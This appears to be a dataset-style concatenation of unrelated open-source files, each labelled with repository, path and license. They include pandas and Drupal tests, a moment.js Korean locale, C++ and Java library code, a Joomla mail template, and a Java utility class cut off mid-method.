sa = pd.SparseSeries(np.arange(4), dtype=np.int64, fill_value=np.nan)
sb = pd.SparseSeries(np.arange(4), index=[1, 2, 3, 4],
dtype=np.int64, fill_value=np.nan)
self._check_numeric_ops(sa, sb, da, db)
da = pd.Series(np.arange(4))
db = pd.Series(np.arange(4), index=[10, 11, 12, 13])
sa = pd.SparseSeries(np.arange(4), dtype=np.int64, fill_value=0)
sb = pd.SparseSeries(np.arange(4), index=[10, 11, 12, 13],
dtype=np.int64, fill_value=0)
self._check_numeric_ops(sa, sb, da, db)
sa = pd.SparseSeries(np.arange(4), dtype=np.int64, fill_value=np.nan)
sb = pd.SparseSeries(np.arange(4), index=[10, 11, 12, 13],
dtype=np.int64, fill_value=np.nan)
self._check_numeric_ops(sa, sb, da, db)
| bsd-3-clause |
holoju/agetic-impuestos | node_modules/readdirp/examples/grep.js | 1842 | 'use strict';
var readdirp = require('..')
, util = require('util')
, fs = require('fs')
, path = require('path')
, es = require('event-stream')
;
function findLinesMatching (searchTerm) {
return es.through(function (entry) {
var lineno = 0
, matchingLines = []
, fileStream = this;
function filter () {
return es.mapSync(function (line) {
lineno++;
return ~line.indexOf(searchTerm) ? lineno + ': ' + line : undefined;
});
}
function aggregate () {
return es.through(
function write (data) {
matchingLines.push(data);
}
, function end () {
// drop files that had no matches
if (matchingLines.length) {
var result = { file: entry, lines: matchingLines };
// pass result on to file stream
fileStream.emit('data', result);
}
this.emit('end');
}
);
}
fs.createReadStream(entry.fullPath, { encoding: 'utf-8' })
// handle file contents line by line
.pipe(es.split('\n'))
// keep only the lines that matched the term
.pipe(filter())
// aggregate all matching lines and delegate control back to the file stream
.pipe(aggregate())
;
});
}
console.log('grepping for "arguments"');
// create a stream of all javascript files found in this and all sub directories
readdirp({ root: path.join(__dirname), fileFilter: '*.js' })
// find all lines matching the term for each file (if none found, that file is ignored)
.pipe(findLinesMatching('arguments'))
// format the results and output
.pipe(
es.mapSync(function (res) {
return '\n\n' + res.file.path + '\n\t' + res.lines.join('\n\t');
})
)
.pipe(process.stdout)
;
| gpl-3.0 |
hackzhou/AutoPlatform | src/main/webapp/plugins/bower_components/moment/src/locale/ko.js | 1797 | //! moment.js locale configuration
//! locale : korean (ko)
//!
//! authors
//!
//! - Kyungwook, Park : https://github.com/kyungw00k
//! - Jeeeyul Lee <jeeeyul@gmail.com>
import moment from '../moment';
export default moment.defineLocale('ko', {
months : '1월_2월_3월_4월_5월_6월_7월_8월_9월_10월_11월_12월'.split('_'),
monthsShort : '1월_2월_3월_4월_5월_6월_7월_8월_9월_10월_11월_12월'.split('_'),
weekdays : '일요일_월요일_화요일_수요일_목요일_금요일_토요일'.split('_'),
weekdaysShort : '일_월_화_수_목_금_토'.split('_'),
weekdaysMin : '일_월_화_수_목_금_토'.split('_'),
longDateFormat : {
LT : 'A h시 m분',
LTS : 'A h시 m분 s초',
L : 'YYYY.MM.DD',
LL : 'YYYY년 MMMM D일',
LLL : 'YYYY년 MMMM D일 A h시 m분',
LLLL : 'YYYY년 MMMM D일 dddd A h시 m분'
},
calendar : {
sameDay : '오늘 LT',
nextDay : '내일 LT',
nextWeek : 'dddd LT',
lastDay : '어제 LT',
lastWeek : '지난주 dddd LT',
sameElse : 'L'
},
relativeTime : {
future : '%s 후',
past : '%s 전',
s : '몇초',
ss : '%d초',
m : '일분',
mm : '%d분',
h : '한시간',
hh : '%d시간',
d : '하루',
dd : '%d일',
M : '한달',
MM : '%d달',
y : '일년',
yy : '%d년'
},
ordinalParse : /\d{1,2}일/,
ordinal : '%d일',
meridiemParse : /오전|오후/,
isPM : function (token) {
return token === '오후';
},
meridiem : function (hour, minute, isUpper) {
return hour < 12 ? '오전' : '오후';
}
});
| mit |
samedelstein/jkan | scripts/src/components/categories-filter.js | 1800 | import $ from 'jquery'
import {chain, pick, omit, filter, defaults} from 'lodash'
import TmplListGroupItem from '../templates/list-group-item'
import {setContent, slugify, createDatasetFilters, collapseListGroup} from '../util'
export default class {
constructor (opts) {
const categories = this._categoriesWithCount(opts.datasets, opts.params)
const categoriesMarkup = categories.map(TmplListGroupItem)
setContent(opts.el, categoriesMarkup)
collapseListGroup(opts.el)
}
// Given an array of datasets, returns an array of their categories with counts
_categoriesWithCount (datasets, params) {
return chain(datasets)
.filter('category')
.flatMap(function (value, index, collection) {
// Explode objects where category is an array into one object per category
if (typeof value.category === 'string') return value
const duplicates = []
value.category.forEach(function (category) {
duplicates.push(defaults({category: category}, value))
})
return duplicates
})
.groupBy('category')
.map(function (datasetsInCat, category) {
const filters = createDatasetFilters(pick(params, ['organization']))
const filteredDatasets = filter(datasetsInCat, filters)
const categorySlug = slugify(category)
const selected = params.category && params.category === categorySlug
const itemParams = selected ? omit(params, 'category') : defaults({category: categorySlug}, params)
return {
title: category,
url: '?' + $.param(itemParams),
count: filteredDatasets.length,
unfilteredCount: datasetsInCat.length,
selected: selected
}
})
.orderBy('unfilteredCount', 'desc')
.value()
}
}
| mit |
nathpete-msft/WinObjC | tools/AppInsights/src/core/contracts/CrashDataHeaders.cpp | 2178 | #include "CrashDataHeaders.h"
using namespace ApplicationInsights::core;
CrashDataHeaders::CrashDataHeaders() :
m_processId(0),
m_parentProcessId(0),
m_crashThread(0)
{
}
CrashDataHeaders::~CrashDataHeaders()
{
}
void CrashDataHeaders::Serialize(Serializer& serializer) const
{
serializer.WritePropertyName(L"id");
serializer.WriteStringValue(m_id);
if (!m_process.empty())
{
serializer.WritePropertyName(L"process");
serializer.WriteStringValue(m_process);
}
serializer.WritePropertyName(L"processId");
serializer.WriteIntegerValue(m_processId);
if (!m_parentProcess.empty())
{
serializer.WritePropertyName(L"parentProcess");
serializer.WriteStringValue(m_parentProcess);
}
serializer.WritePropertyName(L"parentProcessId");
serializer.WriteIntegerValue(m_parentProcessId);
serializer.WritePropertyName(L"crashThread");
serializer.WriteIntegerValue(m_crashThread);
if (!m_applicationPath.empty())
{
serializer.WritePropertyName(L"applicationPath");
serializer.WriteStringValue(m_applicationPath);
}
if (!m_applicationIdentifier.empty())
{
serializer.WritePropertyName(L"applicationIdentifier");
serializer.WriteStringValue(m_applicationIdentifier);
}
if (!m_applicationBuild.empty())
{
serializer.WritePropertyName(L"applicationBuild");
serializer.WriteStringValue(m_applicationBuild);
}
if (!m_exceptionType.empty())
{
serializer.WritePropertyName(L"exceptionType");
serializer.WriteStringValue(m_exceptionType);
}
if (!m_exceptionCode.empty())
{
serializer.WritePropertyName(L"exceptionCode");
serializer.WriteStringValue(m_exceptionCode);
}
if (!m_exceptionAddress.empty())
{
serializer.WritePropertyName(L"exceptionAddress");
serializer.WriteStringValue(m_exceptionAddress);
}
if (!m_exceptionReason.empty())
{
serializer.WritePropertyName(L"exceptionReason");
serializer.WriteStringValue(m_exceptionReason);
}
}
| mit |
mathysp/drupalstarter | core/modules/quickedit/tests/src/Kernel/MetadataGeneratorTest.php | 5666 | <?php
namespace Drupal\Tests\quickedit\Kernel;
use Drupal\entity_test\Entity\EntityTest;
use Drupal\quickedit\EditorSelector;
use Drupal\quickedit\MetadataGenerator;
use Drupal\quickedit_test\MockQuickEditEntityFieldAccessCheck;
use Drupal\filter\Entity\FilterFormat;
/**
* Tests in-place field editing metadata.
*
* @group quickedit
*/
class MetadataGeneratorTest extends QuickEditTestBase {
/**
* {@inheritdoc}
*/
public static $modules = ['quickedit_test'];
/**
* The manager for editor plugins.
*
* @var \Drupal\Component\Plugin\PluginManagerInterface
*/
protected $editorManager;
/**
* The metadata generator object to be tested.
*
* @var \Drupal\quickedit\MetadataGeneratorInterface.php
*/
protected $metadataGenerator;
/**
* The editor selector object to be used by the metadata generator object.
*
* @var \Drupal\quickedit\EditorSelectorInterface
*/
protected $editorSelector;
/**
* The access checker object to be used by the metadata generator object.
*
* @var \Drupal\quickedit\Access\QuickEditEntityFieldAccessCheckInterface
*/
protected $accessChecker;
protected function setUp() {
parent::setUp();
$this->editorManager = $this->container->get('plugin.manager.quickedit.editor');
$this->accessChecker = new MockQuickEditEntityFieldAccessCheck();
$this->editorSelector = new EditorSelector($this->editorManager, $this->container->get('plugin.manager.field.formatter'));
$this->metadataGenerator = new MetadataGenerator($this->accessChecker, $this->editorSelector, $this->editorManager);
}
/**
* Tests a simple entity type, with two different simple fields.
*/
public function testSimpleEntityType() {
$field_1_name = 'field_text';
$field_1_label = 'Plain text field';
$this->createFieldWithStorage(
$field_1_name, 'string', 1, $field_1_label,
// Instance settings.
[],
// Widget type & settings.
'string_textfield',
['size' => 42],
// 'default' formatter type & settings.
'string',
[]
);
$field_2_name = 'field_nr';
$field_2_label = 'Simple number field';
$this->createFieldWithStorage(
$field_2_name, 'integer', 1, $field_2_label,
// Instance settings.
[],
// Widget type & settings.
'number',
[],
// 'default' formatter type & settings.
'number_integer',
[]
);
// Create an entity with values for this text field.
$entity = EntityTest::create();
$entity->{$field_1_name}->value = 'Test';
$entity->{$field_2_name}->value = 42;
$entity->save();
$entity = EntityTest::load($entity->id());
// Verify metadata for field 1.
$items_1 = $entity->get($field_1_name);
$metadata_1 = $this->metadataGenerator->generateFieldMetadata($items_1, 'default');
$expected_1 = [
'access' => TRUE,
'label' => 'Plain text field',
'editor' => 'plain_text',
];
$this->assertEqual($expected_1, $metadata_1, 'The correct metadata is generated for the first field.');
// Verify metadata for field 2.
$items_2 = $entity->get($field_2_name);
$metadata_2 = $this->metadataGenerator->generateFieldMetadata($items_2, 'default');
$expected_2 = [
'access' => TRUE,
'label' => 'Simple number field',
'editor' => 'form',
];
$this->assertEqual($expected_2, $metadata_2, 'The correct metadata is generated for the second field.');
}
/**
* Tests a field whose associated in-place editor generates custom metadata.
*/
public function testEditorWithCustomMetadata() {
$this->editorManager = $this->container->get('plugin.manager.quickedit.editor');
$this->editorSelector = new EditorSelector($this->editorManager, $this->container->get('plugin.manager.field.formatter'));
$this->metadataGenerator = new MetadataGenerator($this->accessChecker, $this->editorSelector, $this->editorManager);
$this->editorManager = $this->container->get('plugin.manager.quickedit.editor');
$this->editorSelector = new EditorSelector($this->editorManager, $this->container->get('plugin.manager.field.formatter'));
$this->metadataGenerator = new MetadataGenerator($this->accessChecker, $this->editorSelector, $this->editorManager);
// Create a rich text field.
$field_name = 'field_rich';
$field_label = 'Rich text field';
$this->createFieldWithStorage(
$field_name, 'text', 1, $field_label,
// Instance settings.
[],
// Widget type & settings.
'text_textfield',
['size' => 42],
// 'default' formatter type & settings.
'text_default',
[]
);
// Create a text format.
$full_html_format = FilterFormat::create([
'format' => 'full_html',
'name' => 'Full HTML',
'weight' => 1,
'filters' => [
'filter_htmlcorrector' => ['status' => 1],
],
]);
$full_html_format->save();
// Create an entity with values for this rich text field.
$entity = EntityTest::create();
$entity->{$field_name}->value = 'Test';
$entity->{$field_name}->format = 'full_html';
$entity->save();
$entity = EntityTest::load($entity->id());
// Verify metadata.
$items = $entity->get($field_name);
$metadata = $this->metadataGenerator->generateFieldMetadata($items, 'default');
$expected = [
'access' => TRUE,
'label' => 'Rich text field',
'editor' => 'wysiwyg',
'custom' => [
'format' => 'full_html'
],
];
$this->assertEqual($expected, $metadata); // , 'The correct metadata (including custom metadata) is generated.');
}
}
| gpl-2.0 |
dmlloyd/openjdk-modules | jdk/test/javax/management/remote/mandatory/connection/IIOPURLTest.java | 3220 | /*
* Copyright (c) 2003, 2015, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
/*
* @test
* @bug 4886799
* @summary Check that IIOP URLs have /ior/ in the path
* @author Eamonn McManus
*
* @run clean IIOPURLTest
* @run build IIOPURLTest
* @run main IIOPURLTest
*/
import javax.management.MBeanServer;
import javax.management.MBeanServerConnection;
import javax.management.MBeanServerFactory;
import javax.management.Notification;
import javax.management.NotificationListener;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
public class IIOPURLTest {
public static void main(String[] args) throws Exception {
JMXServiceURL inputAddr =
new JMXServiceURL("service:jmx:iiop://");
JMXConnectorServer s;
try {
s = JMXConnectorServerFactory.newJMXConnectorServer(inputAddr, null, null);
} catch (java.net.MalformedURLException x) {
try {
Class.forName("javax.management.remote.rmi._RMIConnectionImpl_Tie");
throw new RuntimeException("MalformedURLException thrown but iiop appears to be supported");
} catch (ClassNotFoundException expected) { }
System.out.println("IIOP protocol not supported, test skipped");
return;
}
MBeanServer mbs = MBeanServerFactory.createMBeanServer();
mbs.registerMBean(s, new ObjectName("a:b=c"));
s.start();
JMXServiceURL outputAddr = s.getAddress();
if (!outputAddr.getURLPath().startsWith("/ior/IOR:")) {
throw new RuntimeException("URL path should start with \"/ior/IOR:\": " +
outputAddr);
}
System.out.println("IIOP URL path looks OK: " + outputAddr);
JMXConnector c = JMXConnectorFactory.connect(outputAddr);
System.out.println("Successfully got default domain: " +
c.getMBeanServerConnection().getDefaultDomain());
c.close();
s.stop();
}
}
| gpl-2.0 |
srini2174/codelite | sdk/asio-1.12.1/asio/detail/std_fenced_block.hpp | 1315 | //
// detail/std_fenced_block.hpp
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~
//
// Copyright (c) 2003-2018 Christopher M. Kohlhoff (chris at kohlhoff dot com)
//
// Distributed under the Boost Software License, Version 1.0. (See accompanying
// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
//
#ifndef ASIO_DETAIL_STD_FENCED_BLOCK_HPP
#define ASIO_DETAIL_STD_FENCED_BLOCK_HPP
#if defined(_MSC_VER) && (_MSC_VER >= 1200)
# pragma once
#endif // defined(_MSC_VER) && (_MSC_VER >= 1200)
#include "asio/detail/config.hpp"
#if defined(ASIO_HAS_STD_ATOMIC)
#include <atomic>
#include "asio/detail/noncopyable.hpp"
#include "asio/detail/push_options.hpp"
namespace asio {
namespace detail {
class std_fenced_block
: private noncopyable
{
public:
enum half_t { half };
enum full_t { full };
// Constructor for a half fenced block.
explicit std_fenced_block(half_t)
{
}
// Constructor for a full fenced block.
explicit std_fenced_block(full_t)
{
std::atomic_thread_fence(std::memory_order_acquire);
}
// Destructor.
~std_fenced_block()
{
std::atomic_thread_fence(std::memory_order_release);
}
};
} // namespace detail
} // namespace asio
#include "asio/detail/pop_options.hpp"
#endif // defined(ASIO_HAS_STD_ATOMIC)
#endif // ASIO_DETAIL_STD_FENCED_BLOCK_HPP
| gpl-2.0 |
ms08-067/niemtinmoi | media/aicontactsafe/mailtemplates/mail_2.php | 946 | <?php
/**
* @version $Id$ 2.0.7 0
* @package Joomla
* @copyright Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved.
* @license GNU/GPL, see LICENSE.php
*/
// no direct access
defined('_JEXEC') or die('Restricted access');
// don't remove anything above this text
// you have in the array "$fields" all the information entered in the contact form ( including values in fld_value )
// use <?php echo $fields['field_name']->fld_value; ? > to display the value of the field "field_name" ( remove the space between "?" and ">" )
?>
<table border="0" cellpadding="0" cellspacing="2">
<?php foreach($fields as $field) { ?>
<tr>
<td><span <?php echo $field->label_message_parameters; ?> > <?php echo $field->field_label_message; ?></span></td>
<td> </td>
<td> <?php echo ($field->field_type == 'FL')?$field->fld_link:$field->fld_value; ?></td>
</tr>
<?php } ?>
</table> | gpl-2.0 |
dmlloyd/openjdk-modules | hotspot/test/gc/g1/humongousObjects/objectGraphTest/ObjectGraph.java | 5528 | /*
* Copyright (c) 2016, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
package gc.g1.humongousObjects.objectGraphTest;
import java.util.ArrayDeque;
import java.util.Deque;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.function.BiConsumer;
import java.util.function.Consumer;
import java.util.function.Predicate;
public class ObjectGraph {
private ObjectGraph() {
}
public enum ReferenceType {
NONE,
WEAK,
SOFT,
STRONG;
}
/**
* Performs operation on all nodes that are reachable from initial ones
*
* @param nodes initial nodes
* @param operation operation
*/
public static void propagateTransitiveProperty(Set<Object[]> nodes, Consumer<Object[]> operation) {
Deque<Object[]> roots = new ArrayDeque<>();
nodes.stream().forEach(roots::push);
ObjectGraph.enumerateAndMark(roots, operation);
}
/**
* Connects graph's vertexes with single-directed (vertex -> neighbour) link
*
* @param vertex who is connected
* @param neighbour connected to whom
*/
private static void connectVertexes(Object[] vertex, Object[] neighbour) {
// check if vertex array is full
if (vertex[vertex.length - 1] != null) {
throw new Error("Array is full and no connections could be added");
}
int i = 0;
while (vertex[i] != null) {
++i;
}
vertex[i] = neighbour;
}
/**
* Builds object graph using description from list of parsed nodes. Graph uses Object[] as nodes, first n elements
* of array are links to connected nodes, others are null. Then runs visitors on generated graph
*
* @param parsedNodes list of nodes' description
* @param visitors visitors that will visit each node of generated graph
* @param humongousAllocationSize size of humongous node
* @param simpleAllocationSize size of simple (non-humongous) node
* @return root reference to generated graph
*/
public static Object[] generateObjectNodes(List<TestcaseData.FinalParsedNode> parsedNodes,
Map<Predicate<TestcaseData.FinalParsedNode>,
BiConsumer<TestcaseData.FinalParsedNode, Object[][]>> visitors,
int humongousAllocationSize, int simpleAllocationSize) {
Object[][] objectNodes = new Object[parsedNodes.size()][];
// Allocating nodes on Object[]
for (int i = 0; i < parsedNodes.size(); ++i) {
objectNodes[i] = new Object[(parsedNodes.get(i).isHumongous ?
humongousAllocationSize : simpleAllocationSize)];
}
// Connecting nodes on allocated on Object[]
for (int i = 0; i < parsedNodes.size(); ++i) {
for (int j = 0; j < parsedNodes.get(i).getConnectedTo().size(); ++j) {
connectVertexes(objectNodes[i], objectNodes[parsedNodes.get(i).getConnectedTo().get(j)]);
}
}
// Calling visitors
visitors.entrySet()
.stream()
.forEach(
entry -> parsedNodes.stream()
.filter(parsedNode -> entry.getKey().test(parsedNode))
.forEach(node -> entry.getValue().accept(node, objectNodes))
);
return objectNodes[0];
}
/**
* Enumerates graph starting with provided vertexes. All vertexes that are reachable from the provided ones are
* marked
*
* @param markedParents provided vertexes
* @param markVertex lambda which marks vertexes
*/
public static void enumerateAndMark(Deque<Object[]> markedParents,
Consumer<Object[]> markVertex) {
Map<Object[], Boolean> isVisited = new HashMap<>();
while (!markedParents.isEmpty()) {
Object[] vertex = markedParents.pop();
if (vertex == null || isVisited.containsKey(vertex)) {
continue;
}
isVisited.put(vertex, true);
markVertex.accept(vertex);
for (int i = 0; i < vertex.length; ++i) {
if (vertex[i] == null) {
break;
}
markedParents.add((Object[]) vertex[i]);
}
}
}
}
| gpl-2.0 |
edcano/vidis | lib/javancss29.50/test/Test10.java | 21449 | package ccl.util;
import java.awt.*;
import java.util.*;
import java.applet.Applet;
import java.applet.AppletContext;
import java.net.URL;
import java.io.*;
import java.net.*;
import java.lang.Math;
import ccl.awt.*;
public class Test10 {
private static Random _rnd = new Random();
public static int atoi(String s) {
panicIf(s == null);
if (s.equals("")) {
return 0; }
return(Integer.parseInt(s.trim())); }
public static String itoa(int i) {
return(String.valueOf(i)); }
public static long max(long a_, long b_) {
if (a_ > b_) {
return a_; }
return(b_); }
public static int max(int a_, int b_) {
if (a_ > b_) {
return a_; }
return(b_); }
public static int min(int a_, int b_) {
if (a_ < b_) {
return a_; }
return(b_); }
public static void print(char c) {
System.out.print(c);
System.out.flush(); }
public static void print(String s) {
System.out.print(s);
System.out.flush(); }
public static void println(String s) {
System.out.println(s); }
public static void println(Exception e) {
System.err.println("Exception: " + e.getMessage());
Thread.dumpStack();
println(Thread.currentThread().toString()); }
public static void panicIf(boolean bPanic) {
if (bPanic) {
throw(new ApplicationException()); } }
public static void panicIf(boolean bPanic, String sMessage) {
if (bPanic) {
throw(new ApplicationException(sMessage)); } }
private static boolean _bDebug = false;
public static void setDebug(boolean bDebug) {
_bDebug = bDebug; }
public static void debug(Object obj) {
if (_bDebug) {
println(obj.toString()); } }
public static void debug(int i) {
if (_bDebug) {
println("Int: " + i); } }
public static void showLiveSignal() {
showLiveSignal('.'); }
public static void showLiveSignal(char c) {
print(c); }
public static boolean rnd() {
return(rnd(1) == 0); }
public static int rnd(int bis) {
return rnd(0, bis); }
public static int rnd(int von, int bis) {
panicIf(bis <= von);
float fR = _rnd.nextFloat();
int r = (int)(fR*(bis-von+1)+von);
return( r ); }
public static float rnd(float f) {
float fR = (float)_rnd.nextFloat();
return( f*fR ); }
public static double rnd(double df) {
double dR = _rnd.nextDouble();
return( df * dR ); }
private static final char[] _acUmlaut = { 'ä', 'Ä', 'ö', 'Ö', 'ü', 'Ü', 'ß', 'é' };
public static boolean isAlpha(char c_) {
if (('A' <= c_ && c_ <= 'Z') || ('a' <= c_ && c_ <= 'z')) {
return true; }
for(int i = 0; i < _acUmlaut.length; i++) {
if (c_ == _acUmlaut[i]) {
return true; } }
return false; }
public static long timeToSeconds(String sTime_) {
return ((long)MultiDate.getSecondsFromTime(sTime_)); }
public static int getOccurances(String source, int zeichen) {
int anzahl = -1;
int index = 0;
do { index = source.indexOf(zeichen, index) + 1;
anzahl++;
} while (index != 0);
return(anzahl); }
public static String multiplyChar(char c, int anzahl) {
String s = "";
while (anzahl > 0) {
s += c;
anzahl--; }
return(s); }
public static String multiplyChar(String sFill, int anzahl) {
String sRet = "";
while (anzahl > 0) {
sRet += sFill;
anzahl--; }
return(sRet); }
public static String paddWith(int number_, int stellen_, char cPadd_) {
String sRetVal = itoa(number_);
if (sRetVal.length() >= stellen_) {
return(sRetVal); }
String sPadding = multiplyChar(cPadd_, stellen_ - sRetVal.length());
sRetVal = sPadding + sRetVal;
return(sRetVal); }
public static String paddWithSpace(int number, int stellen) {
return paddWith(number, stellen, ' '); }
public static String paddWithZero(int number, int stellen) {
return paddWith(number, stellen, '0'); }
public static String rtrim(String s) {
int index = s.length()-1;
while (index >= 0 && s.charAt(index) == ' ') {
index--; }
return(s.substring(0, index+1)); }
public static String ltrim(String s) {
int index = 0; //s.length()-1;
while (index < s.length() && s.charAt(index) == ' ') {
index++; }
return(s.substring(index, s.length())); }
public static String unifySpaces(String s) {
String sRetVal = new String();
String sRest = s.trim();
int index = 0;//s.length()-1;
while (sRest != null && sRest.length() > 0) {
index = sRest.indexOf(' ');
if (index < 0) {
sRetVal += sRest;
sRest = null;
} else {
sRetVal += sRest.substring(0, index+1);
sRest = sRest.substring(index+1, sRest.length());
sRest = ltrim(sRest); } }
return(sRetVal); }
public static String unicode2ascii(String sUnicode_) {
panicIf(5 == 5, "Util: unicode2ascii: Sorry, diese Funktion ist deprecated und muss neu geschrieben und neu getested werden.");
return null; }
public static int compare(String firstString, String anotherString) {
int len1 = firstString.length();
int len2 = anotherString.length();
int n = Math.min(len1, len2);
int i = 0;
int j = 0;
while (n-- != 0) {
char c1 = firstString.charAt(i++);
char c2 = anotherString.charAt(j++);
if (c1 != c2) {
return(c1 - c2); } }
return(len1 - len2); }
public static String concat(Vector pVector_, String sWith) {
String sRetVal = new String();
if (pVector_ == null || pVector_.size() < 1) {
return sRetVal; }
if (sWith == null) {
sWith = ""; }
Enumeration e = pVector_.elements();
sRetVal += e.nextElement().toString();
for( ; e.hasMoreElements(); ) {
sRetVal += sWith + e.nextElement().toString(); }
return sRetVal; }
public static String concat(Vector pVector_) {
return concat(pVector_, ""); }
public static boolean isEmpty(String sTest_) {
if (sTest_ == null || sTest_.equals("")) {
return true; }
return false; }
public static Vector stringToLines(int lines_, String pString_, char cCutter_) {
int maxLines = Integer.MAX_VALUE;
if (lines_ > 0) {
maxLines = lines_; }
Vector vRetVal = new Vector();
if (pString_ == null) {
return vRetVal; }
int startIndex = 0;
for( ; maxLines > 0; maxLines-- ) {
int endIndex = pString_.indexOf(cCutter_, startIndex);
if (endIndex == -1) {
if (startIndex < pString_.length()) {
endIndex = pString_.length();
} else {
break; } }
String sLine = pString_.substring(startIndex, endIndex);
vRetVal.addElement((Object)sLine);
startIndex = endIndex + 1; }
return vRetVal; }
public static Vector stringToLines(String pString_, char cCutter_) {
return stringToLines(0, pString_, cCutter_); }
public static Vector stringToLines(String pString_) {
return stringToLines(pString_, '\n'); }
public static Vector stringToLines(int lines_, String pString_) {
return stringToLines(lines_, pString_, '\n'); }
public static boolean equalsCaseless(String sA_, String sB_) {
String sFirst = sA_.toUpperCase();
String sSecond = sB_.toUpperCase();
return sFirst.equals(sSecond); }
public static String firstCharToUpperCase(String pString_) {
String sRetVal = new String();
if (pString_ == null || pString_.length() == 0) {
return(sRetVal); }
sRetVal = pString_.substring(0, 1).toUpperCase() + pString_.substring(1, pString_.length());
return(sRetVal); }
public static String firstCharToLowerCase(String pString_) {
String sRetVal = new String();
if (pString_ == null || pString_.length() == 0) {
return(sRetVal); }
sRetVal = pString_.substring(0, 1).toLowerCase() + pString_.substring(1, pString_.length());
return(sRetVal); }
public static String replace(String pString_, String sOld_, String sNew_) {
panicIf(sNew_ == null || sOld_ == null);
if (pString_ == null) {
return null; }
String sRetVal = new String(pString_);
int indexNew = sNew_.length();
int index = sRetVal.indexOf(sOld_);
while(index > -1) {
sRetVal = sRetVal.substring(0, index) + sNew_ + sRetVal.substring(index + sOld_.length(), sRetVal.length());
index += indexNew;
if (index >= sRetVal.length()) {
break; }
index = sRetVal.indexOf(sOld_, index + indexNew); }
return sRetVal; }
public static boolean isSpaceLine(String sLine_) {
if (sLine_ == null || sLine_.length() == 0) {
return true; }
for(int index = 0; index < sLine_.length(); index++) {
char c = sLine_.charAt(index);
if (c != ' ' && c != '\t' && c != '\n') {
return false; } }
return true; }
public static String getHeuteSortable() {
return getTodaySortable(); }
public static String getTodaySortable() {
String sDatum = null;
Date date = new Date();
Calendar calendar = new GregorianCalendar();
calendar.setTime(date);
sDatum = itoa(calendar.get(Calendar.YEAR));
if (calendar.get(Calendar.MONTH) < 9) {
sDatum += "0"; }
sDatum += itoa(calendar.get(Calendar.MONTH) + 1);
if (calendar.get(Calendar.DATE) < 10) {
sDatum += "0"; }
sDatum += itoa(calendar.get(Calendar.DATE));
return sDatum; }
public static String concatPath(String sPath_, String sFile_) {
return FileUtil.concatPath(sPath_, sFile_); }
public static DataInputStream openFile(String sFile) {
FileInputStream fis;
try { fis = new FileInputStream(sFile);
if (fis != null) {
DataInputStream dis = new DataInputStream(fis);
return(dis); }
} catch (Exception e) { }
return(null); }
public static DataOutputStream openOutputFile(String sFile) {
FileOutputStream fos;
try { fos = new FileOutputStream(sFile);
if (fos != null) {
DataOutputStream dos = new DataOutputStream(fos);
return(dos); }
} catch (Exception e) { }
return(null); }
public static String readFile(String FileName) throws IOException, FileNotFoundException {
StringBuffer sb = new StringBuffer();
FileInputStream fis;
fis = new FileInputStream(FileName);
int oneChar;
while ((oneChar=fis.read()) != -1) {
if (oneChar != 13) {
sb.append((char)oneChar); } }
fis.close();
return sb.toString(); }
public static String readFile(URL location) throws MalformedURLException, IOException {
InputStream is = location.openStream();
int oneChar;
StringBuffer sb = new StringBuffer();
while ((oneChar=is.read()) != -1) {
sb.append((char)oneChar); }
is.close();
return(sb.toString()); }
public static void writeFile(String sFileName, String sContent) throws IOException {
FileOutputStream fos = new FileOutputStream(sFileName);
for (int i=0; i < sContent.length(); i++) {
fos.write(sContent.charAt(i)); }
fos.close(); }
public static boolean equalsFile(String sFileNameA_, String sFileNameB_) {
String sFileContentA = "";
String sFileContentB = "";
try { sFileContentA = readFile(sFileNameA_);
sFileContentB = readFile(sFileNameB_);
} catch(Exception e) {
return false; }
return(sFileContentA.equals(sFileContentB)); }
protected static String _getFileName (Frame parent, String Title, String sFileName_, int Mode) {
FileDialog fd;
Frame f;
String sRetVal = null;
try { f=null;
if (parent == null) {
f = new Frame(Title);
f.pack();
fd = new FileDialog(f, Title, Mode); }
else
fd = new FileDialog(parent, Title, Mode);
fd.setFile(sFileName_);
fd.show();
if (f != null)
f.dispose();
if (fd != null && fd.getDirectory() != null && fd.getFile() != null) {
sRetVal = fd.getDirectory() + fd.getFile(); }
} catch(AWTError e) { ;
} catch(Exception e) { ; }
return sRetVal; }
protected static String _getFileName (Frame parent, String Title, int Mode) {
return _getFileName(parent, Title, "*.*", Mode); }
public static String getFileName(Frame parent, String Title) {
return _getFileName(parent, Title, FileDialog.LOAD); }
public static String getFileName(String Title, String sFileName) {
return _getFileName(new Frame(), Title, sFileName, FileDialog.LOAD); }
public static boolean existsFile(String sFileName_) {
panicIf(sFileName_ == null, "Util: existsFile");
